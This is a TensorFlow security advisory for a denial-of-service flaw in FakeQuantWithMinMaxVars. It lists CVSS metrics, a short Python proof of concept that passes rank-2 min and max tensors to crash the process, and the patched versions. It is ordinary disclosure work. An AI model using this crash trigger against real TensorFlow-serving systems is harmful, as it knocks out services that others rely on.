CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
35.2%
If FakeQuantWithMinMaxVars
is given min
or max
tensors of a nonzero rank, it results in a CHECK
fail that can be used to trigger a denial of service attack.
import tensorflow as tf
num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[2,3], dtype=tf.float32)
min = tf.constant(0, shape=[2,3], dtype=tf.float32)
max = tf.constant(0, shape=[2,3], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by: